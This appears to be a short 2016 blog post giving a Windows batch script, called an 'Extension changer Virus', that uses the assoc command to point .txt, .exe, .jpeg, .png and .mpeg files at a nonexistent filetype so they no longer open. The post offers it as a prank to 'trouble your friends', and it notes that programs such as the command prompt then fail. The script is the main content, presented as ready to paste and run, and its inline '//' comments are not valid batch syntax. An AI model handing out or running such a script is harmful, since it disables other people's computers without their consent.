Monday 12 December 2016

Extension changer Virus

Guys, have you even imagined that if you can change the extensions of all the files in one go?

Yes, this is possible. :)

You can change the extensions of the existing files & make them useless.

For example you have a set of .txt files (say ~1000 files), you can change its extension in one go to anything & this would make the file useless (until the user knows). 

You can use this as a prank or fun moments or to trouble your friends. :)

Here we go:

As usual, open the notepad, paste the code & save it as a batch (.bat) file.

#########################################

@echo off
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .exe=anything
assoc .jpeg=anything
assoc .png=anything
assoc .mpeg=anything

#########################################

Every extension is associated with a filetype like extension ‘exe’ is  is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.


Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wudn’t open properly.

No comments:

Post a Comment